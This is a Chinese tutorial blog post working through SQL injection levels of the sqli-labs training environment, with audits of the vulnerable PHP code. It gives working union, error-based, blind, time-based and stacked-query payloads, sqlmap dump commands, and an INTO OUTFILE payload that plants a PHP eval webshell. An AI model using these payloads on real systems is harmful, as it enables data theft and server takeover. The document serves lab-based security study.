sql注入的专项练习(含代码审计)

在做题之前先复习了数据库的增删改查,然后自己用本地的环境,在自己建的库里面进行了sql语句的测试,主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。

1.获取当前数据库

2.获取数据库中的表 

  3.获取表中的字段名

一、sql注入的原理

SQL注入是一种安全漏洞,它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起,没有进行适当的验证或清理,导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录,甚至篡改数据库等,它是目前黑客对数据库进行攻击的最常用手段之一。

二、sql注入的分类

根据注入技术分类有以下五种:

布尔型盲注:根据返回页面判断条件真假

时间型盲注:用页面返回时间是否增加判断是否存在注入

基于错误的注入:页面会返回错误信息

联合查询注入:可以使用union的情况下

堆查询注入:可以同时执行多条语句 

详情可参考:SQL注入(上)_sql的flag-CSDN博客 

三、sql注入的专项练习 

sql注入的一般做题步骤(适用于联合查询注入和报错注入):

1.判断是整数型还是字符型

判断方法:输入id =1 and 1=1,发现没有变化,换成and 1=2有变化,则为整数型

2.用 ’ 进行测试,发现页面报错,证明可以进行sql注入

3.判断sql注入的类型,并使用相对于的方法进行解决

4.判断有几个字段

5.爆当前数据库

6.爆表明

7.爆字段名

8.爆出数据 

 (1)联合查询注入(sqlilabs中的less-1)

联合查询注入的原理:

首先是这个sql注入可以使用union select语句,其次是将联合语句与用户输入相结合,让联合语句能够在服务器上执行,实现我们对数据的查询与获取,在查询的过程中页面只会呈现数据中的一行数据,这时候就得不到我们要的数据,此时,要用-将前面的注释掉,也可以把-1理解为空字符,那么他就会执行后面的联合语句,最后实现注入

代码审计:

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//这行代码引入了位于上级目录sql-connections下的sql-connect.php文件,这个文件通常包含了数据库连接所需的参数和函数。
error_reporting(0);
// take the variables 
if(isset($_GET['id']))   //检查是否通过GET方法传递了名为id的参数。
{
$id=$_GET['id']; //如果id参数存在,将其值赋给变量$id。
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
//日志记录部分
使用fopen, fwrite, 和 fclose 函数将ID信息追加到一个名为result.txt的文本文件中。

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//构建SQL查询语句,用于从users表中检索与给定ID匹配的用户记录。
$result=mysql_query($sql);
//使用mysql_query函数执行SQL查询,并将结果存储在$result中。
$row = mysql_fetch_array($result);
//从查询结果中获取一行数据,并将其存储在$row数组中。

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
//如果$row不为空(即找到了匹配的记录),则输出用户名和密码;否则,输出MySQL错误信息。
	else { echo "Please input the ID as parameter with numeric value";}
//如果没有通过GET方法传递id参数,则输出错误消息。
?>
总体来说,这段代码的目的是从数据库中检索与给定ID匹配的用户信息,并将结果或错误信息显示在页面上。

方法一 手注

1.根据页面回显,判断出为字符型注入,且为单引号闭合方式

2.这个题也可以使用报错注入 ,这里使用联合注入的方法,先判断出字段数,判断出一共有三个字段

3.判断出当前数据库为security,注意:这里 需要在1之前加上-,这是为了后面union语句的执行

4.判断表名,输入

http://sql/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5.判断出字段,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6.爆数据,输入:

http://sql/Less-1/?id=-1' union select 1,2,group_concat(username,id,password) from users--+

方法二 使用sqlmap

资料:SQLMap使用教程:从入门到入狱详细指南-CSDN博客

 1.爆数据库名

python sqlmap.py -u "http://sql/Less-1/?id=1" --dbs --batch

2.爆表名

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security --tables

 3.爆字段

python sqlmap.py -u "http://sql/Less-1/?id=1" -D security -T users --columns

4.爆数据

python sqlmap.py -u "http://sql/Less-1/?id=1"  -D security -T users -C id,username,password --dump --batch

(2)报错注入(less-5)

原理:

利用数据库在执行错误的sql语句时,会返回相应的错误信息,这些错误信息可以帮助攻击者了解数据库的结构和内容,因为想要的信息会跟着报错的信息一起出现

代码审计:

// 包含数据库连接参数
include("../sql-connections/sql-connect.php");

// 关闭错误报告(不推荐在开发环境中使用)
error_reporting(0);

// 检查是否存在 'id' GET 参数
if(isset($_GET['id']))
{
    // 获取 'id' 参数的值
    $id = $_GET['id'];

    // 将 'id' 写入日志文件
    $fp = fopen('result.txt', 'a');
    fwrite($fp, 'ID:'.$id."\n");
    fclose($fp);

    // 构建查询语句并执行
    $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result = mysql_query($sql); // 注意:mysql_* 函数已废弃

    // 提取查询结果
    $row = mysql_fetch_array($result);

    // 检查查询结果
    if($row)
    {
        // 显示成功消息
        echo '<font size="5" color="#FFFF00">';
        echo 'You are in...........';
        echo "<br>";
        echo "</font>";
    }
    else 
    {
        // 显示错误信息
        echo '<font size="3" color="#FFFF00">';
        print_r(mysql_error()); // 显示 MySQL 错误信息
        echo "</br></font>";
    }
}
else 
{
    // 如果 'id' 参数不存在,则显示错误消息
    echo "Please input the ID as parameter with numeric value";
}

方法一 手注

1.判断出为字符型注入且单引号为闭合方式

2. 判断出有三个字段

3.判断当前数据库

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',database()),3))--+

 4.判断表

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3))--+

5.判断出字段名

http://sql/Less-5/?id=-1' and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3))--+

6.得数据

方法二 sqlmap的使用(与上题做法一样)

1.爆数据库

2.爆表

3.爆字段

4.得到数据

(3) 布尔盲注(less-8)

布尔是一种类型,核心是在于判断正确与否。布尔就是指这个页面有回显,但是不会显示具体内容,只会显示语句是否正常执行;

代码审计:

// 引入MySQL连接参数
include("../sql-connections/sql-connect.php");

// 关闭错误报告,不建议在生产环境中这么做
error_reporting(0);

// 检查GET参数中是否存在'id'
if(isset($_GET['id']))
{
    // 获取'id'参数值
    $id=$_GET['id'];

    // 将连接参数记录到文件中
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // 构造SQL查询语句
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    // 执行SQL查询
    // 注意:这里使用了mysql_*系列函数,这是PHP的废弃函数,应使用mysqli_*或PDO
    $result=mysql_query($sql);

    // 获取查询结果
    $row = mysql_fetch_array($result);

    // 检查查询结果
    if($row)
    {
        // 如果查询到数据,输出提示信息
        echo '<font size="5" color="#FFFF00">';
        echo 'You are in...........';
        echo "<br>";
        echo "</font>";
    }
    else 
    {
        // 如果没有查询到数据,输出提示信息(但这里注释掉了错误信息)
        echo '<font size="5" color="#FFFF00">';
        echo "</br></font>";
        echo '<font color= "#0000ff" font size= 3>'; // 注意这里font属性应该分开写

        // 注释掉的错误信息,用于调试
        // echo 'You are in...........';
        // print_r(mysql_error());
        // echo "You have an error in your SQL syntax";

        // 缺少关闭<font>标签
    }
}
else 
{ 
    // 如果没有提供'id'参数,输出提示信息
    echo "Please input the ID as parameter with numeric value";
}

方法一 手注 

函数:

ascii() 函数,返回字符ascii码值

    参数 : str单字符

length() 函数,返回字符串的长度

    参数 : str 字符串

left() 函数,返回从左至右截取固定长度的字符串

    参数str,length
    str : 字符串
    length:截取长度

substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    参数,str,pos,length
    str: 字符串
    pos:开始位置
    length: 截取长

1.在测试的过程中,发现不会有报错信息,这个也从源代码中体现了,使用布尔盲注,判断出为字符型注入且由源代码可得闭合方式为单引号

2.判断字段数

3.判断数据库的长度,使用length()函数,长度为8

http://sql/Less-8/?id=1' and length(database())>8--+

4.知道了数据库的长度,现在要来判断数据库的名称,得到数据库名字为"security"

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

5.判断表的数量,为4个

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   

6.分别判断这四个表的名称,第一个表的长度(结果为6):

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+

 7.判断第一个表的名称为emails,剩下的表名都是以此类推,得到最后的表为users

注意:这里limit是控制是哪一个表,例如:limit 0,1是第一个表;limit 1,1是第二个表

再熟悉一下substr()函数的用法就可以了

http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >101--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)) >109--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)) >97--+
http://sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1)) >105--+
.
.
.

8.爆字段的列数,得到有三列

http://sql/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users') >3--+

9.爆这三个列的列明,先爆第一个列的长度,长度为2

http://sql/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)) =2--+

10.爆第一个列的列名,得到第一列为id,其他的两个也是以此类推,分别得到username,password

http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)) >105--+
http://sql/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)) >100--+

11.获取数据,先判断数据的条数

http://sql/Less-8/?id=1' and  (select count(*) from users)>13 --+

12.判断第一条数据,其他数据都是类似的方法,可以得到所有数据

判断第一个id的长度(长度为1):
http://sql/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+
判断第一个id的数据(数据为1):
http://sql/Less-8/?id=1'   and  ascii(substr((select id from users limit 0,1),1,1))=49 --+
判断第一个username的长度(长度为4):
http://sql/Less-8/?id=1'   and  length((select username from users limit 0,1))>4 --+
判断第一个username的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),2,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),3,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select username from users limit 0,1),4,1))>98 --+
判断第一个password的长度(长度为4):
http://sql/Less-8/?id=1' and length((select password from users limit 0,1))>4--+
判断第一个paasword的数据(数据为Dumb):
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>68 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>117 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>109 --+
http://sql/Less-8/?id=1'   and  ascii(substr((select password from users limit 0,1),1,1))>98 --+
.
.
.

也可以用以下的方法 

方法二 sqlmap的使用(与上题一样)

1.爆数据库

2.爆表名

3.爆字段

4.爆数据

 

(4)时间盲注(less-9)

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数sleep()函数

sleep函数是令来控制响应时间的,sleep(5)就是令页面等5秒后再响应;
if函数(条件,条件成功返回结果,条件失败返回结果);if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

先进行分析:

输入任何参数,页面都只有一种响应结果:You are in...........

无回显位置,不适合联合注入;

无报错信息,不适合报错注入;

查询的正确与否不会影响页面的响应(只有一种响应),不适合布尔盲注。

综上所述,考虑使用时间盲注。

资料:SQLi LABS Less 9 时间盲注_sqli-labs 时间盲注脚本第九关-CSDN博客

SQL注入-时间盲注_sql时间盲注-CSDN博客

代码审计:

分析代码可得:这段代码与上一个代码不一样的地方在else,查询到数据与没有查到都是一样的回显,由此也可以知道页面都只有一种响应结果的原因,以及使用时间盲注的原因

方法一 手注

1.判断注入条件

?id=1' and if(1,sleep(5),3) --+

页面响应时间超过5秒,确定存在时间盲注,且闭合方式为单引号。

2.接下来,与布尔盲注差不多,判断数据库长度,判断数据库的名称.......

判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
猜解表名长度(此处都是以第一个表为例):
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit 0,1)>y,sleep(5),1)–-+
猜解表名:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,1,sleep(5))–-+
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101,1,sleep(5))–-+.....
猜测字段的长度(以第一个字段为例):
?id=1' and if(length(select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1)>y,sleep(5),1)–-+
猜测列明:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=101,1,sleep(5))–-+
......
猜测字段的条数:
?id=1' and  if((select count(*) from users)>13,sleep(5),1)--+
....(判断数据可参考布尔盲注)

方法二 sqlmap的使用

1.爆数据库

2.爆表

3.爆字段

4.爆数据

时间盲注和布尔盲注的其他方法可参考:SQL注入的相关例题(ctfhub)_sql注入练习-CSDN博客

(5)堆叠注入(less-38)

代码审计:

第38关的代码与之前的代码的不同之处主要在于出现了mysqli_multi_query()函数,mysqli_multi_query()函数支持同时执行多条SQL语句,‌而mysqli_query()函数一次只能执行一条SQL语句。‌由此可见,可以使用堆叠注入

 方法一 手注

1.判断为字符型的堆叠注入,且闭合方式为单引号,一共有三个字段

2.这里根据前面的方法可以知道相关的数据,使用堆叠注入,实现插入用户

http://sql/Less-38/?id=-1';insert into users(id,username,password) values ('38','less38','aaaaa')--+

3.查询插入的数据

#插入数据
insert into table_name(column_name_1,column_name_2,column_name_3) value(value_1,value_2,value_3);
#删除数据
delete from table_name where column_name_2=value_2;
#修改数据
update table_name set column_name_1=value_1 [,column_2=value_2...] where 字句;
#删除表
drop table table_name;
#读取文件
select load_file('文件路径');

方法二 sqlmap的使用

与上面的题都是一样的,这里只展示最后的结果

资料:https://www.cnblogs.com/backlion/p/9721687.html

(6)sql注入写马(less-7)

代码审计:

第七关的源代码与他之前的关卡的代码类似,只是在第七关中出现了outfile,在这里先了解几个函数

  1. into dumpfile()
  2. into outfile()
  3. load_file()
  4. 详细的函数解释可以去这个网站看https://www.cnblogs.com/7-58/p/14101610.html

方法一 手注

1.首先判断出是字符型,闭合方式可由源代码可得是'))

2.判断字段数,一共有三个字段

3.找绝对路径

我们可以选择@@basedir@@datadir来获取MYSQL的安装路径和数据路径。然后,利用outfileload_file()函数,我们可以将查询结果写入文件,并读取文件内容。

本题的路径为:D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7

4.用into outfile函数写入一句话木马,其中两个\\是防转义

http://sql/Less-7/?id=1')) union select 1,"<?php eval($_REQUEST[shell])?>",3 into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+

5.使用蚁剑连接

6.成功进入后门

方法二 sqlmap的使用(与前面的题一样)

 (7)请求头注入(less-20)

一般来说,比较常见的请求头注入包括:User-Agent注入,Referer注入,Cookie注入

代码审计:

方法一 手注

1.这个题要先登录

2.使用bp抓包,修改cookie部分,判断出为字符型注入,且为单引号闭合

3. 可以使用联合注入,这里使用的是报错注入的方式,先判断出数据库

and updatexml(1,concat('~',database()),3)--+

4.判断表

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),3)--+

5.判断字段

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3)--+

6.判断数据

方法二 sqlmap的使用 

由于这题是post请求,所以先使用burp进行抓包,然后将数据包存入txt文件中打包  用-r 选择目标txt文件,先在Cookie 处加上*代表注入点

1.爆当前数据库

python sqlmap.py -r 文件路径  --current-db --batch

2.爆表

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master
\Less-20\1.txt -D security --tables

3.爆字段

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users --columns

4.爆数据

python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users -C id,username,password --dump

四、sql注入常见的绕过方式

资料:常见sql注入绕过方法-CSDN博客

  • 14
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值